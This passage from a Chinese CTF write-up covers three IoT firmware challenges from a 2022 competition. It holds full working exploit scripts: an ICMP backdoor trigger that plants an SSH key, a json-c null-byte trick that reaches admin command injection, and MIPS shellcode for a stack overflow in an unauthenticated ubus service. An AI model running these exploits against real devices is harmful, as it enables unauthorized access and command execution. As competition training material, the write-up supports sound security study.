void nf_unregister_net_hooks(struct net *net, const struct nf_hook_ops *reg,
                 unsigned int n);

钩子函数的定义为:

typedef unsigned int nf_hookfn(void *priv,
                   struct sk_buff *skb,
                   const struct nf_hook_state *state);

hook的返回值有几种情况:

  • • NF_DROP == 0: 默默丢弃数据包

  • • NF_ACCEPT == 1: 数据包继续在内核协议栈中传输

  • • NF_STOLEN == 2: 数据包不继续传输,由钩子方法进行处理

  • • NF_QUEUE == 3: 将数据包排序,供用户空间使用

  • • NF_REPEAT == 4: 再次调用钩子函数


nf_flow_in.ko注册点为:

nf_register_net_hooks(&init_net, off_940, 1);
.data..read_mostly:00000940 off_940:        .word hook               # DATA XREF: _5+4↑o
.data..read_mostly:00000940                                          # _5+10↑o ...
.data..read_mostly:00000940                                          # nf_hookfn *
.data..read_mostly:00000944                 .word 0                  # struct net_device   *
.data..read_mostly:00000948                 .word 0                  # void            *priv
.data..read_mostly:0000094C                 .word 2                  # u_int8_t        pf
.data..read_mostly:00000950                 .word 1                  # unsigned int        hooknum

  对比nf_hook_ops结构体的成员定义可知:hooknum == 1 表示hook NF_IP_LOCAL_IN 阶段也就是数据包经过路由判决确定是发给本地的包后。pf == 2表示NFPROTO_IPV4 IPv4协议(IP)。重点hook函数为:

int __fastcall hook(int a1, int a2)
{
  int result; // $v0
  int head; // $v1
  char *icmp_data; // $s0
  char *v5; // $v0
  char *v6; // $a0
  int v7; // $a1
  int v8; // $v1

  head = *(_DWORD *)(a2 + 0xA0);
  if ( *(_BYTE *)(head + *(unsigned __int16 *)(a2 + 0x94) + 9) == 1 )// head + *(unsigned __int16 *)(a2 + 0x94) == ip_header; +9 means protocol
  {
    icmp_data = (char *)(head + *(unsigned __int16 *)(a2 + 0x92) + 8);// head + *(unsigned __int16 *)(a2 + 0x92) == transport_header; + 8 means icmp`s data area
    v5 = &icmp_data[strlen(icmp_data)];
    v6 = icmp_data;
    v7 = 0;
    while ( v5 != v6 )
    {
      v8 = *v6++;
      if ( (unsigned int)(v8 - 0x20) >= 95 )    // unprintable char
        v7 = -1;
    }
    if ( !v7 )
      7(icmp_data);
    result = 1
  }
  return result;
}

  会处理ICMP报文的数据部分,如果全部都是可见字符进入7(icmp_data),需要注意的是函数始终返回1(NF_ACCEPT)也就是说其他ICMP报文正常走完协议栈:

int __fastcall 7(char *a1)
{
  char *in; // $s1
  int v3; // $v0
  _BYTE *out; // $s5
  int v6; // $v0
  unsigned __int8 *v7; // $s2
  unsigned int i; // $s0
  int v9; // $v0
  char key[12]; // [sp+10h] [-10h] BYREF

  in = (char *)kmem_cache_alloc(kmalloc_caches[10], 0xCC0);
  strcpy(key, "X1Hu-2O23");
  if ( in )
  {
    v3 = strlen(a1);
    memset(in, 0, v3 + 1);
    base64Decode(a1, in);
    if ( strlen(in) )
    {
      out = (_BYTE *)kmem_cache_alloc(kmalloc_caches[10], 3264);
      if ( out )
      {
        v7 = (unsigned __int8 *)kmem_cache_alloc(kmalloc_caches[10], 3264);
        v6 = strlen(in);
        8(in, v6, (int)key, 9);
        for ( i = 0; i < strlen(in); ++i )
          sprintf(&v7[i], "%c", in[i]);
        v9 = strlen(v7);
        Base64Encode(v7, out, v9);
        strcpy(a1, out);
        kfree(in);
        kfree(out);
        kfree(v7);
      }
    }
  }
  return _stack_chk_guard;
}

  base64Decode,Base64Encode和main程序的base64_decode都是使用的同一个异变Table,函数8是rc4加密(对称加密),秘钥为X1Hu-2O23(rc4这个不是很懂)。总的来说这个内核模块会对8字节后全是可见字符data的ICMP报文进行base64解密,rc4,base64加密。结合main程序又进行一次base64解密,需要将@targetMac和@localRSApub放入ICMP报文,以X1Hu-2O23为key进行rc4加密,然后base64加密 后发送给目标主机。

  在main程序中绕过前面的checksum和icmp_id检查我觉得存在逻辑问题。首先获取icmp报文中的checksum然后会和icmp_data部分的xorsum进行比较(getXor),那么icmp报文中的checksum字段是一定要构造的而且不能代表整个报文真实的checksum(header+data):

Checksum

      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      This checksum may be replaced in the future.
        ----From rfc792

  官方WP上是用和程序中计算data数据getXor函数一样的算法计算出来一个值,并且放入icmp_header中的checksum字段:

def calc_sum(data):

    sum = 0

    for ch in range(len(data)):

        sum^=ord(data[ch])

...
checksum = calc_sum(data)
docmd = "python2.7 sendPacket.py %s %s %s"%(ip_addr,str(checksum),encrypt_data)

def icmp_send(dest_addr,pkt_checksum,payload):

    icmp = socket.getprotobyname("icmp")

    try:

        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)

    except socket.error, (errno, msg):

        if errno == 1:

            msg = msg + "This program must be run with root privileges."

            raise socket.error(msg)

        raise

    pkt_id = 0xDEAD

    dest_addr  =  socket.gethostbyname(dest_addr)

    pkt_checksum = int(pkt_checksum)

    # Make a dummy heder with a fake checksum.

    header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, pkt_checksum, pkt_id, 1)

  我觉得这样会导致发送出去的数据包直接被对方协议栈过滤(猜的,没看过协议栈相关源码),进入设备shell手动启main程序并且使用官方脚本发现设备毫无反应:

  这个情况还好说,因为icmp_header的sequence字段可控且main和内核模块不检查,那么可以构造该字段实现 0 <= getXor(icmp_data) == checksum(icmp) <= 0x80。那么构造icmp为:

import socket, struct, array
import string, base64
from Crypto.Cipher import ARC4

BASETABLE = 'Gw6Y/H7PxrieDoRSE58h0fcp1jtlbdON9zKVA2g3+aTCy4XmIBuZUsWJnkMqFLQv'
def base64Encode(b_in: bytes) -> bytes:
    retStr = ''
    count = 0
    for i in range(0len(b_in), 3):
        if count+3 <= len(b_in):
            tmp = ((b_in[i]) << 8*2) | ((b_in[i+1]) << 8) | (b_in[i+2]) #13896738
            idx0 = tmp >> 18    #53
            idx1 = (tmp >> 12) & 0b0111111  #0
            idx2 = (tmp >> 6) & 0b0111111   #48
            idx3 = tmp & 0b0111111          #34
            
            retStr += BASETABLE[idx0]
            retStr += BASETABLE[idx1]
            retStr += BASETABLE[idx2]
            retStr += BASETABLE[idx3]
            count += 3
    
    if count != len(b_in):
        left = len(b_in) - count
        tmp = 0
        if left == 1:
            tmp = (b_in[count]) << 16
        else :
            tmp = (b_in[count]) << 16 | ((b_in[count + 1]) << 8)
        
        idx0 = tmp >> 18
        idx1 = (tmp >> 12) & 0b0111111
        idx2 = (tmp >> 6) & 0b0111111
        idx3 = tmp & 0b0111111

        
        retStr += BASETABLE[idx0]
        retStr += BASETABLE[idx1]
        if idx2 != 0:
            retStr += BASETABLE[idx2]
        else:
            retStr += '='
        if idx3 != 0:
            retStr += BASETABLE[idx3]
        else:
            retStr += '='
    
    return retStr.encode()

def base64Decode(b_in) -> bytes:
    if isinstance(b_in, bytes):
        b_in = b_in.decode()
    retStr = b''
    
    b_in = b_in.rstrip('=')
    left = len(b_in) % 4
    # for i in range(0, len(b_in), 4):
    for i in range(len(b_in) // 4):
        tmp = BASETABLE.index((b_in[i*4])) << 6*3 | BASETABLE.index((b_in[i*4+1])) << 6*2 | BASETABLE.index((b_in[i*4+2])) << 6 | BASETABLE.index(b_in[i*4+3])  #13896738
        idx0 = tmp >> 8*2   #212
        idx1 = (tmp >> 8) & 0b011111111 #12
        idx2 = tmp & 0b011111111        #34
        
        retStr += struct.pack(b'<BBB', idx0, idx1, idx2)
    tmp = 0
    if left == 3:
        tmp = BASETABLE.index((b_in[-3])) << 6*3 | BASETABLE.index((b_in[-2])) << 6*2 | BASETABLE.index((b_in[-1])) << 6*1
    elif left == 2:
        tmp = BASETABLE.index((b_in[-2])) << 6*3 | BASETABLE.index((b_in[-1])) << 6*2
    elif left == 1:
        tmp = BASETABLE.index((b_in[-1])) << 6*3
    
    idx0 = tmp >> 8*2
    idx1 = (tmp >> 8) & 0b011111111
    idx2 = tmp & 0b011111111
    retStr += struct.pack(b'<BBB', idx0, idx1, idx2)

    retStr = retStr.rstrip(b'\x00')

    return retStr

def packData(d_in:bytes, key:bytes = b'X1Hu-2O23'):
    arc4 = ARC4.new(key)
    t = arc4.encrypt(d_in)
    retData = base64Encode(t)
    return retData
    
def unpackData(d_in:bytes, key:bytes = b'X1Hu-2O23'):
    retData = base64Decode(d_in)
    arc4 = ARC4.new(key)
    return arc4.decrypt(retData)

def chesksum(data):
    n = len(data)
    m = n % 2
    sum = 0
    for i in range(0, n - m, 2):
        sum += (data[i]) + ((data[i + 1]) << 8)
        sum = (sum >> 16) + (sum & 0xffff)
    if m:
        sum += (data[-1])
        sum = (sum >> 16) + (sum & 0xffff)
    answer = ~sum & 0xffff
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer

def xorChecksum(data: bytes) -> int:
    ret = 0
    for i in data:
        ret ^= i
    return ret

def find_sum(data):
    data_Xorsum = xorChecksum(data)
    data = packData(data, b'X1Hu-2O23')
    data_Xorsum = ((data_Xorsum & 0xff) << 8) | (data_Xorsum >> 8)
    for i in range(256):
        for j in range(256):
            icmp_data = b'\x08\x00\x00\x00\xad\xde' + i.to_bytes(1,'big') + j.to_bytes(1,'big') + data
            tmp_sum = chesksum(icmp_data)
            
            if data_Xorsum == tmp_sum:
                print(hex(i),hex(j),hex(data_Xorsum))
                return (i << 8) | j, data_Xorsum

def icmp_send():
    icmp_data = b'00:00:00:00:00:1b@'
    icmp_data += b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbqytls41JAN2qY7MgqF05rML8zDXYA6CWdT0S3q17l9jXqzITbPv3sCMGUcsZNNkWnxl6MtDTqpu0pIBpZblbsjKC8rbtFV6RbpNDfaJ8esNck4++YdkpG67cHQnvoNkJOFLNfjuuCVtYEo8g3mAb6KCyG9rfa22lHTl+gj99Lw=='

    seq, checksum = find_sum(icmp_data)
    icmp_header = struct.pack('>BBHHH'80, checksum, 0xadde, seq)
    icmp_data_pack = packData(icmp_data, b'X1Hu-2O23')
    icmp_payload = icmp_header + icmp_data_pack
    print(base64Encode(icmp_data))
    print(icmp_data_pack,'\n',  unpackData(icmp_data_pack))

    raw_sfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
    raw_sfd.sendto(icmp_payload, ('192.168.1.1'0))

if __name__ == '__main__':
    icmp_send()

  有个小问题就是上传的秘钥不能太长,否则会出现截断问题。可以使用ssh-keygen生成一个1024bit的就行了,或者截开多打几次:

pbk

  题目对应了一个包含前后端的系统,前端用python实现了登录、注册等功能,后端用C++实现了upload_file和查看/tmp目录下某个文件。前端中的权限校验函数auth_check存在反序列化漏洞。其中session_id没有做限制且用户可控。

def auth_check(self, session_id):
    try:
        if not os.path.exists("/tmp/session/" + session_id):
            return False
        f = open("/tmp/session/" + session_id, "rb")
        _session = pickle.loads(f.read())
        f.close()
        current_time = int(time.time())
        if current_time - _session.login_time > _session.lease:
            return False
        return _session.role
    except:
        return False

  后端c++实现,在逆向的时候基本一半猜一半逆(目前C++水平太拉了),不过基本的逻辑能理清。核心是解析前端发送的json数据包然后根据role和bk_code的值调用对应处理函数。guest用户有两种情况bk_code == 0x70 or 0x23。对应函数readfile(0041A050)和uploadfile(0041A050)。

  其中readfile会打开tmp下的一个文件,该文件名称由用户随意指定没有做限制存在目录穿越。

  uploadfile实现文件上传同样没有对用户指定的文件名做限制,因此结合前端的漏洞实现反序列化漏洞。

  对于admin用户可以调用sub_419BAC直接命令注入:

  官方wp提供了三种解题思路,前面通过guest漏洞比较直接。而对于admin通过python和json-c对unicode数据解析不一致绕过,例如构造{"r":"123","r\u0000":"456"}的json包对于python json strict=False来说该json结构中分别存在rr\u000两个key。但是如果json-c这样构造就会导致只存在一个key即r这好像是因为json-c的作者沿用c中string标准截断判别,即null截断,这个问题在github上是该项目中讨论最多的但还是open状态(快10年了):

(学到了,学到了)

用在题目中就是,构造如下数据:

backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id

经过服务器前端转发变成:

{"session_id": "THeoEcUFBmUmXQJXJDxPBNzZFlhVFBZk", "func": 18, "f": 32, "d": "touch /haked_by_npc", "r": "guest", "r\u0000": "admin"} 

然后后端调用json_tokener_parse解析该json包,理所当然的变成r:admin,后端并没有继续解析session_id。

import socket, json

HEADER = 'NOVA' + '0001' + '0102'

def login(name: str, pwd: str, sfd: socket.socket):
    js_data = {'func'1'usr':name, 'pwd':pwd}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())

def logout(sessionID: str, sfd: socket.socket):
    js_data = {'func'0x10'session_id': sessionID}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())

def register(name: str, pwd: str, sfd: socket.socket):
    js_data = {'func'0x11'usr':name, 'pwd':pwd}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())

def backhend(js_data, sfd: socket.socket):
    payload = HEADER + json.dumps(js_data)
    print(payload)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())

def delete(sessionID: str, name: str, sfd: socket.socket):
    js_data = {'func'0x13'session_id':sessionID, 'usr':name}
    payload = HEADER + json.dumps(js_data)
    sfd.sendall(payload.encode())
    return json.loads(sfd.recv(1024).decode())

def main():
    sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sfd.connect(('192.168.1.1'12345))
    except Exception as e:
        print(e)
        exit(-1)
    
    bk_json = {'session_id':session_id, 'func':18'f'0x23,'o''../dev/ttyUSB0'}
    session_id = login('guest''guest', sfd)['data']['session_id']
    print(backhend(bk_json, sfd))

def method3():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect(('192.168.1.1'12345))

    login_guest = 'NOVA00010102{"usr":"guest","pwd":"guest","func":1}'

    s.sendall(login_guest.encode())

    res = s.recv(1024)

    res_status = json.loads(res).get("result")

    guest_session_id = json.loads(res).get("data").get("session_id")

    if (res_status != "1"or (len(guest_session_id) != 32):

        print("method2 guest login failed")

        exit(0)

    backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id

    s.sendall(backend1.encode())

    res = s.recv(1024)

    print(res)

if __name__ == '__main__':
    method3()

  同样无法直接连串口但是和固件二不同的是,串口只会打印出一部分日志,然后就完全没有了:

Flattened uImage Tree (FIT) Images

  在解决这个固件问题前需要了解FIT镜像。FIT是一种结构(.itb),类似于设备树(Device Tree Blob, dtb. 很多嵌入式设备不能主动的发现该设备所拥的硬件,所以在dbt使用之前都需要以硬编码的方式告诉内核外设信息。dtb使用之后一个内核配合不同的设备树信息就可以在多个设备上运行)。只不过FIT存放各个二进制文件的信息如kernel、initramfs、dbt等,这样就可以把它们放在一个image中。然后u-boot读取FIT信息来加载一个嵌入式linux系统。使用dumpimage查看:

$ dumpimage -l ./hatlab_gateboard-one-kernel.itb 
FIT description: MIPS OpenWrt FIT (Flattened Image Tree)
Created:         Sat Mar 18 18:12:12 2023
 Image 0 (kernel-1)
  Description:  MIPS OpenWrt Linux-5.4.215
  Created:      Sat Mar 18 18:12:12 2023
  Type:         Kernel Image
  Compression:  gzip compressed
  Data Size:    3451794 Bytes = 3370.89 KiB = 3.29 MiB
  Architecture: MIPS
  OS:           Linux
  Load Address: 0x81001000
  Entry Point:  0x81001000
  Hash algo:    crc32
  Hash value:   54d3f87d
  Hash algo:    sha1
  Hash value:   a2e35b5ec3727408a9af951dee2768db8b42bd93
 Image 1 (initrd-1)
  Description:  MIPS OpenWrt hatlab_gateboard-one initrd
  Created:      Sat Mar 18 18:12:12 2023
  Type:         RAMDisk Image
  Compression:  uncompressed
  Data Size:    1715634 Bytes = 1675.42 KiB = 1.64 MiB
  Architecture: MIPS
  OS:           Linux
  Load Address: unavailable
  Entry Point:  unavailable
  Hash algo:    crc32
  Hash value:   6773429c
  Hash algo:    sha1
  Hash value:   0a6ea4a7463ddc1acb38398c4524e5795f783297
 Image 2 (fdt-1)
  Description:  MIPS OpenWrt hatlab_gateboard-one device tree blob
  Created:      Sat Mar 18 18:12:12 2023
  Type:         Flat Device Tree
  Compression:  uncompressed
  Data Size:    13146 Bytes = 12.84 KiB = 0.01 MiB
  Architecture: MIPS
  Hash algo:    crc32
  Hash value:   e4c6bb68
  Hash algo:    sha1
  Hash value:   d911fad6cfe9877d80ea5601e006905afb2ed4d7
 Default Configuration: 'config-1'
 Configuration 0 (config-1)
  Description:  OpenWrt hatlab_gateboard-one
  Kernel:       kernel-1
  Init Ramdisk: initrd-1
  FDT:          fdt-1

  FIT中的设备树信息(Device Tree Blob)可以使用Tree Compiler (DTC)工具编译Device Tree Source (DTS)文件获得,并且这种编译是没有信息缺损的也就是说如果使用DTC编译获得DTB,那么可以反编译获得完全一致的源文件(DTS),而DTS才是我们要看的:

#compile
$ dtc -I dts -O dtb juno.dts > juno.dtb

#decompile
$ dtc -I dtb -O dts juno.dtb > juno.dts

$ dumpimage -T flat_dt -p 2 -o dtb.bin ./hatlab_gateboard-one-kernel.itb
Extracted:
 Image 2 (fdt-1)
  Description:  MIPS OpenWrt hatlab_gateboard-one device tree blob
  Created:      Sat Mar 18 18:12:12 2023
  Type:         Flat Device Tree
  Compression:  uncompressed
  Data Size:    13146 Bytes = 12.84 KiB = 0.01 MiB
  Architecture: MIPS
  Hash algo:    crc32
  Hash value:   e4c6bb68
  Hash algo:    sha1
  Hash value:   d911fad6cfe9877d80ea5601e006905afb2ed4d7

$ dtc -I dtb -O dts dtb.bin > 3.dts    
<stdout>: Warning (unit_address_vs_reg): Node /palmbus@1E000000/spi@b00/spi-nor@0/partitions@0 has a unit name, but no reg property
<stdout>: Warning (unit_address_vs_reg): Node /ethernet@1e100000/mdio-bus/switch@1f/ports has a reg or ranges property, but no unit name

获得DTS文件后对3,1固件的DTS diff发现(参考2021西湖论剑IOT的wp):

把3号固件的DTS的uartlite@c00->status改为"okay"或者删除,然后重编译

$ dtc -I dts -O dtb 3.dts > 3.dtb

把itb镜像中的kernel、initrd都剥离出来后,需要按照dumpimage -l ./hatlab_gateboard-one-kernel.itb 获得的格式编写一个 Image Tree Source(.its)文件,类似于Device Tree Source:

/dts-v1/;

/ {
    description = "MIPS OpenWrt FIT (Flattened Image Tree)";
    #address-cells = <1>;

    images {
        kernel-1 {
            description = "MIPS OpenWrt Linux-5.4.215";
            data = /incbin/("./kernel.bin");
            type = "kernel";
            arch = "MIPS";
            os = "linux";
            compression = "gzip";
            load = <0x81001000>;
            entry = <0x81001000>;
        hash@1 {
                algo = "crc32";
            
        };
        hash@2 {
                algo = "sha1";
            
        };
        };
        initrd-1 {
            description = "MIPS OpenWrt hatlab_gateboard-one initrd";
            data = /incbin/("./initrd.bin");
            type = "ramdisk";
            arch = "MIPS";
            os = "linux";
            compression = "none";
        hash@1 {
                algo = "crc32";
            
        };
        hash@2 {
                algo = "sha1";
            
        };
        };
        fdt-1 {
            description = "MIPS OpenWrt hatlab_gateboard-one device tree blob";
            data = /incbin/("./3.dtb");
            type = "flat_dt";
            arch = "MIPS";
            compression = "none";
        hash@1 {
                algo = "crc32";
            
        };
        hash@2 {
                algo = "sha1";
            
        };
        };
    };
    configurations {
        default = "config-1";
        config-1 {
            description = "OpenWrt hatlab_gateboard-one";
            kernel = "kernel-1";
            ramdisk = "initrd-1";
            fdt = "fdt-1";
        };
    };
};

然后制作itb文件:

mkimage -f 3.its hatlab_gateboard-one-kernel_new.itb

效果如下:

dsd

  dsd使用openwrt的ubus总线子系统注册了一个server object:

ubus架构简图如下:

主要有三部分组成:

  • • ubusd:守护进程,充当server和client间的broker

  • • server object:通常是软件提供的接口,通过在ubusd中注册方法的形式提供给client使用

  • • client object:调用者,这种调用方式就是Remote Procedure Call (RPC),和upnp的服务调用很相似。

Access to ubus over HTTP

  本来ubus上面提供的服务是用于进程间交互的,但是uhttpd的uhttpd-mod-ubus插件允许通过http协议调用ubus上的方法(Remote Procedure Call (RPC))。默认情况下使用POST方法依照jsonrpc v2.0格式访问/ubus完成远程调用。但是如此调用时需要经过Access Control List(ACL,即访问控制列表),这个由守护进程rpcd完成。/usr/share/rpcd/acl.d/*.json描述了所有的访问规则。如:

{
        "unauthenticated": {
                "description""Access controls for unauthenticated requests",
                "read": {
                        "ubus": {
                                "session": [ "access""login" ]
                        }
                }
        }
}

上图session是一个<path>,其中包括了很多方法如:"create","list","login"等后面的是调用对应方法需要的参数。dsd的访问规则为:

// root@OpenWrt:~# cat /usr/share/rpcd/acl.d/luci-app-dsd.json
{
    "unauthenticated": {
            "description""ubus access control",
            "read": {
                    "ubus": {
                            "dsd": [
                                    "job"
                                ]
                    }
            }
    }
}

  unauthenticated和ubus_rpc_session="00000000000000000000000000000000"其只能访问unauthenticated组下面的方法而其他组需要session中的login方法获取登录获取ubus_rpc_session才能访问,也就是说dsd提供的job方法可以在未授权的情况下通过uhttpd的/ubus访问

root@OpenWrt:~# ubus -v list dsd
'dsd' @03db63db
        "job":{"id":"Integer","msg":"String"}

通过POST调用需要构造data数据为:

"jsonrpc""2.0",
  "id": <unique-id-to-identify-request>, 
  "method""call",
  "params": [
             <ubus_rpc_session>, <ubus_object>, <ubus_method>, 
             { <ubus_arguments> }
            ]
}

通过对比openwrt提供的ubus服务端例程openwrt-ubus-api/ubus/examples/server.c at master · KerwinKoo/openwrt-ubus-api · GitHub不难得出:

int __fastcall job(void *ctx, void *obj, void *req, char *method, void *msg)
{
  int v5; // $s0
  int v6; // $v0
  char *v8; // [sp+20h] [+20h]
  char v9[4]; // [sp+24h] [+24h] BYREF
  _DWORD *v10; // [sp+28h] [+28h]
  char v11[28]; // [sp+2Ch] [+2Ch] BYREF

  strcpy(v11, "%s received a message: %s");
  v8 = "(unknown)";
  v5 = sub_400AA0((int)msg);
  v6 = sub_400B1C(msg);
  blobmsg_parse(&off_4016FC, 2, v9, v5, v6);
  if ( v10 )
    v8 = (char *)blobmsg_data(v10);
  blob_buf_init(&dword_4120E8, 0);
  sub_401024(v8);
  sub_400D20((int)&dword_4120E8, (int)"status"0);
  sub_400DD0((int)&dword_4120E8, (int)&dword_4016F8, (int)v8);
  ubus_send_reply(ctx, req, dword_4120E8);
  return 0;
}

  为核心用户数据处理函数,其中sub_401024->sub_400F80->strncpy可控,导致溢出漏洞。其实sub_401024也能溢出(memcpy)但是其函数返回方式是 jr $ra,不方便控制所以在sub_400F80中利用。

Exploit

  程序开了NX保护,但只是stack上的。从/proc/pid/maps里面看其堆空间是可执行的:

  需要注意的是payload不可以包含null字符,否则解析时会被截断。因此利用思路为:payload中填充不带null的shellcode,覆盖$ra指向shellcode。这是因为系统只开启了栈地址随机化

import requests, struct
from pwn import *

URL = 'http://192.168.1.1/ubus'

'''
LOAD:00400EE4                 addiu   $v0, $fp, 0x260+var_244
LOAD:00400EE8                 move    $a0, $v0         # cmd
LOAD:00400EEC                 jal     system

LOAD:00401010                 lw      $ra, 0x1020+var_s4($sp)
LOAD:00401014                 lw      $fp, 0x1020+var_s0($sp)
LOAD:00401018                 addiu   $sp, 0x1028
LOAD:0040101C                 jr      $ra
'''

headers = {"Accept""*/*""User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",

           "Connection""close""Accept-Encoding""gzip, deflate""Accept-Language""zh-CN,zh;q=0.9""Content-Type""application/json"}

command = ";ls > /tmp/flag;"

shellcode = asm("addiu $sp, -0x1217", arch='mips', os='linux', bits=32)
shellcode += asm("jal 0x004018E0", arch='mips', os='linux', bits=32)
shellcode += asm("addiu $a0, $sp, 0x1201", arch='mips', os='linux', bits=32)     #cant be 'nop' becuase of null
shellcode = shellcode.ljust(4104 - len(command), b'A').decode('latin-1')
shellcode += command
shellcode_Addr = 0x413058

rawBody = "{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"call\",\"params\":[\"00000000000000000000000000000000\",\"dsd\",\"job\",{\"msg\":\"*##*" + struct.pack('>HH'4104 + 9 + 34104 + 3).decode('latin-1') + "*##*" + shellcode + "\x58\x30\x41" "\"}]\r\n}"

# print(rawBody)
resp = requests.post(url=URL,headers=headers, data=rawBody, timeout=3)
print(resp.text)

  • • 2022西湖论剑 IoT-AWD 赛题官方 WriteUp (上篇):一号固件&二号固件 (qq.com)

  • • 【技术分享】IoT固件分析入门 - 网安 (wangan.com):IDA patch mips无法保存

  • • ghidra_SavePatch/SavePatch.py at master · schlafwandler/ghidra_SavePatch (github.com):ghidra脚本

  • • MIPS Application Specific Extensions (ASE) - Imagination:mips拓展指令集

  • • Handlers (embedthis.com):appweb官方文档

  • • Appweb 学习笔记 - V4ler1an

  • • (59条消息) 网络编程——原始套接字实现原理_使用原始套接字在网络层进行数据传输_企鹅快跑的博客-CSDN博客

  • • 网络骇客初级之原始套接字(SOCK_RAW)_Czyy的技术博客_51CTO博客

  • • Linux内核源码之Netfilter框架 - 知乎 (zhihu.com)

  • • struct sk_buff结构体详解_51CTO博客_sk_buff结构体

  • • Decoding of string with null-byte. · Issue #108 · json-c/json-c (github.com)

  • • Device Tree (dtb) - postmarketOS

  • • Flattened uImage Tree (FIT) Images (gibbard.me)

  • • 2021西湖论剑IOT RW-WriteUp (qq.com)

  • • 2022西湖论剑 IoT-AWD 赛题官方 WriteUp (下篇):三号固件 (qq.com)


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&mid=2247485983&idx=1&sn=7ed8805fe17db2c54f98261539845956&chksm=cf1f2737f868ae213103a09a1e8d535af49a5d64a02e0d6ff3592d6b2fa120cf3400c9e4a2d7&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh